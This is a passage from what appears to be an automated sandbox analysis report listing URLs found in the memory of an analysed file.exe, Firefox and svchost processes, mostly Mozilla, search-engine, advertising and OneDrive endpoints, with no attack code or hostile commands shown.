Source: firefox.exe, 00000010.00000003.2251663333.0000025CAAC25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2080973031.0000025CAACD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2256027947.0000025CAACD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2137810573.0000025CA8CC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2549654108.0000025CAACD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2265282192.0000025CACD75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAAC25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2551604878.0000025CAAC25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2274086987.0000025CA8CC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1989186700.0000025CACBC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2256027947.0000025CAACCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2081085988.0000025CAACCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2042124751.0000025CACD72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2081404970.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2252681158.0000025CA8CC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2551797059.0000025CA8CC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550104959.0000025CA8CC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2549876559.0000025CAAC25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2041696574.0000025CACDB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000010.00000003.2549793302.0000025CAACA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2251663333.0000025CAACA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272551594.0000025CAACA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2081284047.0000025CAACA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000010.00000003.2530731347.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: file.exe, 00000000.00000002.2154397010.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2167320962.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 00000010.00000003.2708415909.0000025CAC558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: firefox.exe, 00000010.00000003.2708415909.0000025CAC558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: firefox.exe, 00000025.00000003.2026352359.0000028273258000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2992207126.0000028273258000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.videolan.org/x264.html
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: protocols.json.19.dr	String found in binary or memory: https://.onedrive.com
Source: protocols.json.19.dr	String found in binary or memory: https://.onedrive.live.com
Source: firefox.exe, 00000010.00000003.1944122337.0000025CAA881000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933058008.0000025CAA300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1942350183.0000025CAA841000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943840498.0000025CAA86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1937957153.0000025CAA82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943362184.0000025CAA857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000010.00000003.2031691341.0000025CADE77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273669273.0000025CA8CF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000010.00000003.2270218342.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2270218342.0000025CAB292000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2270218342.0000025CAB2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2043345274.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000010.00000003.2252300150.0000025CA9186000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000010.00000003.2252300150.0000025CA91A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273469753.0000025CA91A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release/Win
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000010.00000003.2252300150.0000025CA91A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273469753.0000025CA91A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2272877163.0000025CAAABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/re
Source: firefox.exe, 00000010.00000003.2550492663.0000025CA6CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254500829.0000025CA6CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276615931.0000025CA6CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2532323510.0000025CA6CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000002.2160956008.0000000028B03000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2151259871.0000025CA63B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA7E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.00000282725CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2160956008.0000000028B03000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2151259871.0000025CA63B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA7E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.00000282725CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000010.00000003.2073110115.0000025CABCB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: Web Data.19.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Web Data.19.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000010.00000003.1944122337.0000025CAA881000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933058008.0000025CAA300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1942350183.0000025CAA841000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943840498.0000025CAA86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1937957153.0000025CAA82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943362184.0000025CAA857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000002.2160956008.0000000028B03000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2151259871.0000025CA63B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA7E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.00000282725CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2160956008.0000000028B03000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2151259871.0000025CA63B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2970180620.000001C0DA7E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2968268599.00000282725CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000010.00000003.2150860278.0000025CA64BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000010.00000003.2553517995.0000025CA6D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.mics-
Source: firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000010.00000003.1944122337.0000025CAA881000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933058008.0000025CAA300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1942350183.0000025CAA841000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2258815935.0000025CAB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943840498.0000025CAA86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1937957153.0000025CAA82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2270218342.0000025CAB27B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1943362184.0000025CAA857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2043345274.0000025CAB269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1933335762.0000025CAA817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: Web Data.19.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Web Data.19.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Web Data.19.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000010.00000003.2274086987.0000025CA8CC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1949825409.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2049806344.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1946167497.0000025CA8233000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000010.00000003.2274234162.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2138040584.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000010.00000003.2274234162.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2138040584.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: 000003.log6.19.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log4.19.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.75/asset?assetgroup=EntityExtrac
Source: 000003.log6.19.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: firefox.exe, 00000010.00000003.2274086987.0000025CA8CC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1949825409.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2049806344.0000025CA822C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1946167497.0000025CA8233000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/monitor/collections/changes/changeset?_expe
Source: firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com8
Source: firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF722000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF75F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF722000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF703000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.1862773274.000001B9AF754000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.1862773274.000001B9AF748000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000000D.00000003.1862773274.000001B9AF722000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
